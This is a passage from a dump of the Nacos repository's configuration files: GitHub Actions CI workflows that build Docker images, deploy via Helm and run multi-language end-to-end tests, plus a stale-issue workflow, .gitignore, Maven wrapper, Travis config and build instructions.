RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-csharp.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-nodejs-test:\n    if: ${{ success() }}\n    name: Nodejs E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: nodejs e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: nodejs\n              CMD: |\n                cd /root/code/nodejs/nacosnodejstest && npm install\n                mocha test --reporter mocha-junit-reporter --reporter-options mochaFile=../target/surefire-reports/TEST-report.xml\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-nodejs.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-python-test:\n    if: ${{ success() }}\n    name: Python E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: python e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: python\n              CMD: |\n                cd /root/code/python\n                pip3 install -r requirements.txt\n                source ~/.bashrc\n                cd nacospythontest && pytest --junitxml ../target/surefire-reports/TEST-report.xml test/*_test.py --log-cli-level=DEBUG\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-python.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n\n  clean:\n    if: ${{ always() }}\n    name: Clean\n    needs: [docker, e2e-java-test, e2e-go-test, e2e-cpp-test, e2e-csharp-test, e2e-nodejs-test, e2e-python-test]\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\",\"standalone_auth\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: clean\n        with:\n          yamlString: |\n            action: clean\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n  write-comment:\n    if: ${{ always() }}\n    name: write comment to pr\n    needs: [docker, deploy, e2e-java-test, e2e-go-test, e2e-cpp-test, e2e-csharp-test, e2e-nodejs-test, e2e-python-test, clean]\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    steps:\n      - name: 'Download artifact'\n        uses: actions/github-script@v6\n        with:\n          script: |\n            let artifacts = await github.rest.actions.listWorkflowRunArtifacts({\n               owner: context.repo.owner,\n               repo: context.repo.repo,\n               run_id: ${{ github.event.workflow_run.id }},\n            });\n            \n            let matchArtifactPR = artifacts.data.artifacts.filter((artifact) => {\n               return artifact.name == \"pr\"\n            })[0];\n            let download = await github.rest.actions.downloadArtifact({\n               owner: context.repo.owner,\n               repo: context.repo.repo,\n               artifact_id: matchArtifactPR.id,\n               archive_format: 'zip',\n            });\n            var fs = require('fs');\n            fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(download.data));\n      - name: unzip pr\n        run: |\n          unzip pr.zip\n          cat pr.txt\n          pr_number=`cat pr.txt`\n          echo \"PR_NUMBER=${pr_number}\" >> $GITHUB_ENV\n      - name: write issue comment\n        run: |\n          echo ${{ env.PR_NUMBER }}\n          job_status=\"\"\n          if [ ${{ needs.docker.result }} = 'success' ]  && [ ${{ needs.deploy.result }} = 'success' ] && [ ${{ needs.e2e-java-test.result }} = 'success' ] && [ ${{ needs.e2e-go-test.result }} = 'success' ] && [ ${{ needs.e2e-cpp-test.result }} = 'success' ] && [ ${{ needs.e2e-csharp-test.result }} = 'success' ] && [ ${{ needs.e2e-nodejs-test.result }} = 'success' ] && [ ${{ needs.e2e-python-test.result }} = 'success' ]; then\n            jobs_status='$\\\\color{green}{SUCCESS}$'\n            jobs_status+=\"\\n[DETAILS](https://github.com/${GITHUB_REPOSITORY}/actions/runs/${{ github.run_id }})\"\n          else\n            jobs_status='$\\\\color{red}{FAILURE}$'\n            jobs_status+=\"\\n[DETAILS](https://github.com/${GITHUB_REPOSITORY}/actions/runs/${{ github.run_id }})\"\n          fi\n          echo ${jobs_status}\n          markdown_content=\"${jobs_status}\"\n          generate_content() {\n             if [ $1 = \"success\" ];then\n               echo \"\\n ✅ $2  $1 \"\n             else\n               echo \"\\n ❌ $2  $1 \"\n             fi\n          }\n          markdown_content+=$(generate_content ${{ needs.docker.result }} \"- docker: \")\n          markdown_content+=$(generate_content ${{ needs.deploy.result }} \"- deploy (standalone & cluster & standalone_auth): \")\n          markdown_content+=$(generate_content ${{ needs.e2e-java-test.result }} \"- e2e-java-test (standalone & cluster & standalone_auth): \")\n          markdown_content+=$(generate_content ${{ needs.e2e-go-test.result }} \"- e2e-go-test (standalone & cluster): \")\n          markdown_content+=$(generate_content ${{ needs.e2e-cpp-test.result }} \"- e2e-cpp-test (standalone & cluster): \")\n          markdown_content+=$(generate_content ${{ needs.e2e-csharp-test.result }} \"- e2e-csharp-test (standalone & cluster): \")\n          markdown_content+=$(generate_content ${{ needs.e2e-nodejs-test.result }} \"- e2e-nodejs-test (standalone & cluster): \")\n          markdown_content+=$(generate_content ${{ needs.e2e-python-test.result }} \"- e2e-python-test (standalone & cluster): \")\n          markdown_content+=$(generate_content ${{ needs.clean.result }} \"- clean (standalone & cluster & standalone_auth): \")\n          echo \"markdown_content: \\n ${markdown_content}\"\n          payload=`echo \"{\\\"body\\\": \\\"${markdown_content}\\\"}\" | jq .`\n          curl -L -X POST ${{ env.HEADER_PARAMS_WRITE_COMMENT }} ${{ env.BASE_URL_NACOS }}/issues/${{ env.PR_NUMBER }}/comments -d \"${payload}\"\n"
  },
  {
    "path": ".github/workflows/push-ci.yaml",
    "content": "name: PUSH-CI\n\non:\n  push:\n    branches: [master, develop, v2.x-develop]\n\npermissions:\n  contents: read\n\nconcurrency:\n  group: nacos-${{ github.ref }}\n\nenv:\n  DOCKER_REPO: wuyfeedocker/nacos-ci\n  DOCKER_REPO_B: wuyfeehub/nacos-ci\n  TEST_REPO_NAME: nacos-group/nacos-e2e\n\njobs:\n  dist-tar:\n    name: Build dist tar\n    runs-on: ubuntu-latest\n    timeout-minutes: 30\n    steps:\n      - uses: actions/cache@v3\n        with:\n          path: ~/.m2/repository\n          key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}\n          restore-keys: |\n            ${{ runner.os }}-maven-\n      - uses: actions/checkout@v3\n        with:\n          submodules: true\n      - uses: actions/setup-java@v3\n        with:\n          distribution: \"temurin\"\n          java-version: \"17\"\n          cache: \"maven\"\n      - name: Build distribution tar\n        run: |\n          mvn '-Prelease-nacos,!dev' -DskipTests clean install -U -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - uses: actions/upload-artifact@v4\n        name: Upload distribution tar\n        with:\n          name: nacos\n          path: distribution/target/nacos-server-*.tar.gz\n\n  docker:\n    if: ${{ success() }}\n    name: Docker images\n    needs: [dist-tar]\n    runs-on: ubuntu-latest\n    timeout-minutes: 30\n    env:\n      DOCKERHUB_USER_ACTUAL: ${{ secrets.DOCKERHUB_USER }}\n      DOCKERHUB_TOKEN_ACTUAL: ${{ secrets.DOCKERHUB_TOKEN }}\n    strategy:\n      matrix:\n        base-image: [\"centos\"]\n        java-version: [\"17\"]\n    outputs:\n      version-json: ${{ steps.show_versions.outputs.version-json }}\n    steps:\n      - uses: actions/checkout@v3\n        with:\n          repository: nacos-group/nacos-e2e.git\n          ref: main\n          path: nacos-e2e\n      - uses: actions/download-artifact@v4.1.7\n        name: Download distribution tar\n        with:\n          name: nacos\n          path: ./\n      - name: Generate image tag\n        id: build-images\n        run: |\n          mv nacos-server-*.tar.gz nacos-e2e/cicd/build/\n          cd nacos-e2e/cicd/build\n          version=${{ github.event.pull_request.number || github.ref_name }}-$(uuidgen)\n          mkdir versionlist\n          touch versionlist/\"${version}-`echo ${{ matrix.java-version }} | sed -e \"s/:/-/g\"`\"\n          ls versionlist/\n          echo TAG=${version}-$(echo ${{ matrix.java-version }} | sed -e \"s/:/-/g\") >> $GITHUB_ENV\n      - name: docker-login-1\n        uses: docker/login-action@v2\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ secrets.DOCKERHUB_USER }}\n          password: ${{ secrets.DOCKERHUB_TOKEN }}\n      - name: save docker_1 images\n        run: |\n          mkdir build_backup\n          cp -rf nacos-e2e/cicd/build/* ./build_backup/\n          cd nacos-e2e/cicd/build\n          docker build --no-cache -f Dockerfile -t ${DOCKER_REPO}:${{ env.TAG }} .\n          docker push ${DOCKER_REPO}:${{ env.TAG }}\n      - name: docker-login-2\n        uses: docker/login-action@v2\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ secrets.DOCKERHUB_USER_B }}\n          password: ${{ secrets.DOCKERHUB_TOKEN_B }}\n      - name: save docker_2 images\n        run: |\n          rm -rf nacos-e2e/cicd/build/*\n          mv ./build_backup/*  nacos-e2e/cicd/build/\n          cd nacos-e2e/cicd/build\n          docker build --no-cache -f Dockerfile -t ${DOCKER_REPO_B}:${{ env.TAG }} .\n          docker push ${DOCKER_REPO_B}:${{ env.TAG }}\n      - name: Show versions\n        id: show_versions\n        run: | \n          a=(`ls nacos-e2e/cicd/build/versionlist`)\n          printf '%s\\n' \"${a[@]}\" | jq -R . | jq -s .\n          echo version-json=`printf '%s\\n' \"${a[@]}\" | jq -R . | jq -s .` >> $GITHUB_OUTPUT\n\n  deploy:\n    if: ${{ success() }}\n    name: Deploy nacos\n    needs: [docker]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    env:\n      REPLICA_COUNT: 3\n      DATABASE: mysql\n      NODE_PORT: 30000\n      AUTH_ENABLED: false\n      ACTUAL_MODE: cluster\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\",\"standalone_auth\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - name: set nodeport\n        run: |\n          echo \"NODE_PORT=$(expr $(expr $(expr $(expr ${{ strategy.job-index }} + 1) * ${{ github.run_number }}) % 30000) + 30000)\" >> $GITHUB_ENV\n      - name: set params values\n        run: |\n          if [[ ${{ matrix.mode }} == \"standalone\"* ]];then\n            if [[ ${{ matrix.mode }} = \"standalone_auth\" ]]; then\n              echo \"AUTH_ENABLED=true\" >> $GITHUB_ENV\n            fi\n            echo \"ACTUAL_MODE=standalone\" >> $GITHUB_ENV\n            echo \"REPLICA_COUNT=1\" >> $GITHUB_ENV\n            echo \"DATABASE=embedded\" >> $GITHUB_ENV\n            echo ${{ matrix.mode }}-nacos-${{ github.run_id }}-${{ strategy.job-index }}\n          fi\n      - name: allocate docker repo\n        run: |\n          if [[ $(expr $(expr ${{ github.run_id }} + ${{ strategy.job-index }} ) % 2 ) -eq 1 ]]; then\n            echo \"DOCKER_REPO_ACTUAL=${{ env.DOCKER_REPO }}\" >> $GITHUB_ENV\n          else\n            echo \"DOCKER_REPO_ACTUAL=${{ env.DOCKER_REPO_B }}\" >> $GITHUB_ENV\n          fi\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: Deploy nacos\n        with:\n          yamlString: |\n            action: deploy\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            waitTimes: 2000\n            velaAppDescription: nacos-${{ env.GITHUB_WORKFLOW }}-${{ github.run_id }}@${{ matrix.version }}\n            repoName: nacos\n            helm:\n              chart: ./cicd/helm\n              git:\n                branch: main\n              repoType: git\n              retries: 3\n              url: https://github.com/nacos-group/nacos-e2e.git\n              values:\n                namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n                global:\n                  mode: ${{ env.ACTUAL_MODE }}\n                nacos:\n                  replicaCount: ${{ env.REPLICA_COUNT }}\n                  image:\n                    repository: ${{ env.DOCKER_REPO_ACTUAL }}\n                    tag: ${{ matrix.version }}\n                  auth:\n                    enabled: ${{ env.AUTH_ENABLED }}\n                  storage:\n                    type: ${{ env.DATABASE }}\n                    db:\n                      port: 3306\n                      username: nacos\n                      password: nacos\n                      param: characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false\n                service:\n                  nodePort: ${{ env.NODE_PORT }}\n                  type: ClusterIP\n\n  e2e-java-test:\n    if: ${{ success() }}\n    name: Java e2e Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    env:\n      CODE_PATH: java/nacos-2X\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\",\"standalone_auth\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - name: set code path\n        run: |\n          if [[ ${{ matrix.mode }} = \"standalone_auth\" ]]; then\n            echo \"CODE_PATH=java/auth\" >> $GITHUB_ENV\n            echo ${{ matrix.mode }}-nacos-${{ github.run_id }}-${{ strategy.job-index }}\n          fi\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: java e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: ${{ env.CODE_PATH }}\n              CMD: mvn clean test -B\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-java.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n\n  e2e-go-test:\n    if: ${{ success() }}\n    name: GO E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: go e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: golang\n              CMD: |\n                cd /root/code/golang && go mod init nacos_go_test && go mod tidy\n                gotestsum --junitfile ./target/surefire-reports/TEST-report.xml ./nacosgotest\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-go.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-cpp-test:\n    if: ${{ success() }}\n    name: Cpp E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: cpp e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: cpp\n              CMD: |\n                yum-config-manager remove centos-sclo-rh\n                cd /root/code/cpp && make install\n                echo \"export LD_LIBRARY_PATH=/usr/local/lib\" >> ~/.bashrc  && source ~/.bashrc\n                cd /root/code/cpp/nacoscpptest\n                g++ nacos_test.cpp -o nacos_test -lgtest -lpthread -I/usr/local/include/nacos/ -L/usr/local/lib/  -lnacos-cli\n                chmod 777 nacos_test && ./nacos_test --gtest_output=\"xml:../target/surefire-reports/TEST-gtestresults.xml\"\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-cpp.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-csharp-test:\n    if: ${{ success() }}\n    name: Csharp E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: csharp e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: csharp\n              CMD: |\n                rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm\n                yum -y install dotnet-sdk-3.1 && yum -y install aspnetcore-runtime-7.0\n                cd /root/code/csharp/nacos-csharp-sdk-test && dotnet restore\n                dotnet test --logger:\"junit;LogFilePath=../target/surefire-reports/TEST-result.xml\"\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-csharp.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-nodejs-test:\n    if: ${{ success() }}\n    name: Nodejs E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: nodejs e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: nodejs\n              CMD: |\n                cd /root/code/nodejs/nacosnodejstest && npm install\n                mocha test --reporter mocha-junit-reporter --reporter-options mochaFile=../target/surefire-reports/TEST-report.xml\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-nodejs.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-python-test:\n    if: ${{ success() }}\n    name: Python E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: python e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: python\n              CMD: |\n                cd /root/code/python && pip3 install -r requirements.txt && source ~/.bashrc\n                cd nacospythontest && pytest --junitxml ../target/surefire-reports/TEST-report.xml test/*_test.py --log-cli-level=DEBUG\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-python.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n\n  clean:\n    if: always()\n    name: Clean\n    needs: [docker, e2e-java-test, e2e-go-test, e2e-cpp-test, e2e-csharp-test, e2e-nodejs-test, e2e-python-test]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\",\"standalone_auth\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: clean\n        with:\n          yamlString: |\n            action: clean\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n"
  },
  {
    "path": ".github/workflows/stale.yml",
    "content": "name: Close inactive issues\non:\n  schedule:\n    - cron: \"0 17 * * *\"   # UTC+8 01:00（UTC 17:00）\n\njobs:\n  close-issues:\n    runs-on: ubuntu-latest\n    permissions:\n      issues: write\n      pull-requests: write\n    steps:\n      - uses: actions/stale@v10\n        with:\n          operations-per-run: 50\n          days-before-issue-stale: 7\n          days-before-issue-close: 7\n          stale-issue-label: \"expired\"\n          stale-issue-message: \"This issue has been open 7 days with no activity. This will be closed in 7 days.\"\n          close-issue-message: \"This issue was closed because it has been inactive for 7 days since being marked as expired.\"\n          days-before-pr-stale: -1\n          days-before-pr-close: -1\n          exempt-all-milestones: true\n          exempt-issue-labels: \"kind/bug,kind/code quality,kind/discussion,kind/enhancement,kind/feature,kind/notice,kind/performance,kind/proposal,kind/question,kind/refactor,kind/user experience,good first issue,contribution welcome,dependencies\"\n          repo-token: ${{ secrets.GITHUB_TOKEN }}"
  },
  {
    "path": ".gitignore",
    "content": "# Except this file !.gitignore\n.classpath\n.project\n.settings\ntarget\n.idea\n.vscode\n.DS_Store\n.factorypath\n/logs\n*.iml\n*.log\nnode_modules\ntest/derby.log\nderby.log\nwork\ntest/logs\nderby.log\nyarn.lock\n.flattened-pom.xml\nlefthook.yml\ndistribution/conf/*.sql\ndistribution/plugins/*.jar\n"
  },
  {
    "path": ".mvn/wrapper/maven-wrapper.properties",
    "content": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\nwrapperVersion=3.3.2\ndistributionType=only-script\ndistributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip\n"
  },
  {
    "path": ".travis.yml",
    "content": "notifications:\n  email:\n    recipients:\n      - dev-nacos@googlegroups.com\n      - mw_configcenter@list.alibaba-inc.com\n  on_success: change\n  on_failure: always\n\nlanguage: java\n\nmatrix:\n  include:\n    # On OSX, run with default JDK only.\n    # - os: osx\n    # On Linux, run with specific JDKs only.\n    - os: linux\n      env: CUSTOM_JDK=\"oraclejdk8\"\n    - name: Linux aarch64\n      dist: focal\n      arch: arm64-graviton2\n      group: edge\n      virt: vm\n\n\njdk:\n  - openjdk11\n  - openjdk8\n\nbefore_install:\n  - echo 'MAVEN_OPTS=\"$MAVEN_OPTS -Xmx1024m -XX:MaxPermSize=512m -XX:+BytecodeVerificationLocal\"' >> ~/.mavenrc\n  - cat ~/.mavenrc\n#  - if [[ \"$TRAVIS_OS_NAME\" == \"osx\" ]]; then export JAVA_HOME=$(/usr/libexec/java_home); fi\n#  - if [[ \"$TRAVIS_OS_NAME\" == \"linux\" ]]; then jdk_switcher use \"$CUSTOM_JDK\"; fi\n\nscript:\n  - mvn -B clean package apache-rat:check findbugs:findbugs -Dmaven.test.skip=true\n  - mvn clean -Premove-test-data\n  - mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U\n  - mvn clean -Premove-test-data\n  - mvn clean package -Pcit-test\n  - mvn clean -Premove-test-data\n  - mvn clean package -Pnit-test\n  - mvn clean -Premove-test-data\nafter_success:\n  - mvn clean package -Pit-test\n  - mvn sonar:sonar -Psonar-apache\n"
  },
  {
    "path": "BUILDING",
    "content": "Build Instructions for NACOS\n\n====================================================\n\n(1) Prerequisites\n\n    JDK 17+ is required in order to compile and run Nacos.\n\n    nacos utilizes Maven as a distribution management and packaging tool. Version 3.6.3 or later is required.\n    The plugin org.apache.maven.plugins:maven-enforcer-plugin:3.5.0 requires Maven version 3.6.3 .\n    Maven installation and configuration instructions can be found here:\n\n    http://maven.apache.org/run-maven/index.html\n\n\n(2) Run test cases\n\n    Execute the following command in order to compile and run test cases of each components:\n\n    $ mvn test\n\n\n(3) Import projects to Eclipse IDE\n\n    First, generate eclipse project files:\n\n    $ mvn -U eclipse:eclipse\n\n    Then, import to eclipse by specifying the root directory of the project via:\n\n    [File] > [Import] > [Existing Projects into Workspace].\n\n\n(4) Build distribution packages\n\n    Execute the following command in order to build the tar.gz packages and install JAR into local repository:\n\n    #build nacos\n    $ mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U\n    $ ./mvnw -Prelease-nacos -Dmaven.test.skip=true clean install -U\n"
